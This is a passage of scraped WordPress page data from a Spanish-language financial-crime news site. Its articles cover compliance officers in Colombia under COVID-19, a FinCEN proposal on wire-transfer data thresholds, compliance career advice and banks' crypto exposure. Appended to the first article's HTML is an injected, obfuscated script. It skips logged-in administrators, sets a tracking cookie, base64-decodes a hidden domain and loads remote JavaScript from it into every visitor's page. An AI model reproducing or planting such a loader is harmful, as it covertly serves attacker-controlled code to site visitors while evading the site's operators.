dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Esos son solo algunos de los consejos y t\u00e1cticas sobre c\u00f3mo iniciarse y ascender en el campo de la lucha contra el lavado de dinero (ALD\/CFT) ofrecidos por  los principales profesionales de cumplimiento de delitos financierosque participaron en la reciente Cumbre Virtual de ACFCS: <strong><u>El Futuro del Fincrime en Canad\u00e1.<\/u><\/strong><\/p>\n\n\n\n<p>M\u00e1s de 2.000 profesionales se registraron para el evento de tres d\u00edas, que estuvo repleto de capacitaci\u00f3n precisa y relevante, <em>networking<\/em>, juegos, obsequios y mucho m\u00e1s.<\/p>\n\n\n\n<p>La conferencia cubri\u00f3 temas de todo el amplio arco de los delitos financieros y cumplimiento tanto en el sector p\u00fablico como en el privado, incluidos puntos regulatorios clave, tendencias de aplicaci\u00f3n, criptograf\u00eda, marihuana, an\u00e1lisis de datos, trata de personas. La cumbre incluy\u00f3 un d\u00eda completo dedicado a las habilidades laborales y t\u00e1cticas para irrumpir en el campo y progresar profesionalmente.<\/p>\n\n\n\n<p>El jueves, el \u00faltimo d\u00eda de la conferencia, oficiales de cumplimiento, investigadores y funcionarios del gobierno abordaron el tema de c\u00f3mo ingresar, sobrevivir y prosperar en el campo del cumplimiento y qu\u00e9 habilidades ayudar\u00edan a los profesionales a ser buscados por las instituciones y reclutadores profesionales,  ahora y en el futuro.<\/p>\n\n\n\n<p>Los oradores ofrecieron informaci\u00f3n y consejos sobre una serie de caminos para tener \u00e9xito en el campo de delitos financieros, ALD\/CFT y \u00e1reas relacionadas, incluyendo:<\/p>\n\n\n\n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes 